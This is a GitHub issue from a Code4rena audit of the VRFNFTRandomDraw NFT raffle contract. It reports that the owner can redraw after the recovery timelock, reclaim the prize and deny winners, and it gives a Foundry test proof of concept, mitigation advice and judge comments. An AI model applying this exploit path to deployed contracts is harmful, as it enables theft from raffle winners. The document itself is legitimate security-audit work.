Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Winning NFT owner/admin can rug pull attack or DoS attack on winner by removing the winning NFT. #226

Closed
code423n4 opened this issue Dec 16, 2022 · 3 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-146 edited-by-warden satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@code423n4
Copy link
Contributor

code423n4 commented Dec 16, 2022

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L295

Vulnerability details

Impact

Given the current logic, it is possible to call the redraw method even after recoverTimelock has passed. If the owner does so, the contract will select a new winner for the winning NFT.

But it will be up to the owner to give as much time to the winner to claim the winning NFT, meaning the owner can interrupt the game. These are the possible attacks:

  1. Rug pull: The owner calls the lastResortTimelockOwnerClaimNFT method and the current winner will never be able to claim the NFT he won due to a rug-pull by the winning NFT owner.

  2. DoS: If the owner wants to choose a new winner, he can call lastResortTimelockOwnerClaimNFT to retrieve NFT back and the owner will wait till the redraw period is over. Once it is over, the owner can transfer back the winning NFT back to the contract (using transferFrom) and call the redraw method again to select a new winner. This way the previous winner will get no chance to claim the NFT he won.

The impact is high as this will affect the winning users directly and the winning NFT owner will be able to interrupt while the game is still going on.

Proof of Concept

This is a test of how this vulnerability can be exploited.

   function test_OwnerInterrupts() public {
    address winner = address(0x1337);
    vm.label(winner, "winner");

    vm.startPrank(winner);
    for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
        drawingNFT.mint();
    }
    vm.stopPrank();

    vm.startPrank(admin);
    targetNFT.mint();

    address consumerAddress = factory.makeNewDraw(
        IVRFNFTRandomDraw.Settings({
            token: address(targetNFT),
            tokenId: 0,
            drawingToken: address(drawingNFT),
            drawingTokenStartId: 0,
            drawingTokenEndId: 10,
            drawBufferTime: 9 days,
            recoverTimelock: 8 days,
            keyHash: bytes32(
                0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
            ),
            subscriptionId: subscriptionId
        })
    );
    vm.label(consumerAddress, "drawing instance");

    mockCoordinator.addConsumer(subscriptionId, consumerAddress);
    mockCoordinator.fundSubscription(subscriptionId, 100 ether);

    VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress);

    targetNFT.setApprovalForAll(consumerAddress, true);

    uint256 drawingId = drawing.startDraw();

    mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);

    assertEq(targetNFT.balanceOf(winner), 0);
    assertEq(targetNFT.balanceOf(consumerAddress), 1);

    // redraw time and recover time both passed
    vm.warp(10 days);

    // owner calls redraw and new winner is selected
    drawingId = drawing.redraw();
    mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);
    assertEq(targetNFT.balanceOf(admin), 0);
    assertEq(targetNFT.balanceOf(consumerAddress), 1);

    // now owner rugpull the NFT before new winner can claim it
    drawing.lastResortTimelockOwnerClaimNFT();

    assertEq(targetNFT.balanceOf(admin), 1);
    assertEq(targetNFT.balanceOf(consumerAddress), 0);

    vm.stopPrank();
    vm.prank(winner);

    // now winner tries to claim won NFT but fails
    vm.expectRevert("ERC721: transfer from incorrect owner");
    drawing.winnerClaimNFT();

    vm.stopPrank();

    // time to call redraw again has passed as well
    vm.warp(20 days);

    vm.startPrank(admin);

    // owner transfers the winning NFT again in the contract
    targetNFT.transferFrom(admin, consumerAddress, 0);

    // owner calls redraw again and new winner is selected replacing the previous one
    drawingId = drawing.redraw();
    mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);
    assertEq(targetNFT.balanceOf(admin), 0);
    assertEq(targetNFT.balanceOf(consumerAddress), 1);
    vm.stopPrank();

    // new winner should be able to claim nft but previous was not able to do so
    // due to DoS attack by owner
    vm.prank(winner);
    drawing.winnerClaimNFT();
    assertEq(targetNFT.balanceOf(winner), 1);
    assertEq(targetNFT.balanceOf(consumerAddress), 0);
}

Tools Used

Foundry

Recommended Mitigation Steps

There could be 2 mitigations:

  1. Do not allow the owner to call redraw once recoverTimelock is already passed.
  2. If we want the owner to be able to call redraw once recoverTimelock is already passed, then the recoverTimelock value should be updated as well like drawTimelock whenever the owner calls the redraw method. This will give sufficient time to the winning user to claim the won NFT.
@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Dec 16, 2022
code423n4 added a commit that referenced this issue Dec 16, 2022
@hansfriese
Copy link

Although it is showing some possible problems I think this one is invalid. Redraw checks if the NFT still belongs to the contract. So disallowing redraw after recoverTimelock does not make sense. The attacks described by the warden do not make sense as well.

@c4-judge
Copy link
Contributor

gzeon-c4 marked the issue as duplicate of #146

@c4-judge
Copy link
Contributor

gzeon-c4 marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Jan 23, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-146 edited-by-warden satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

3 participants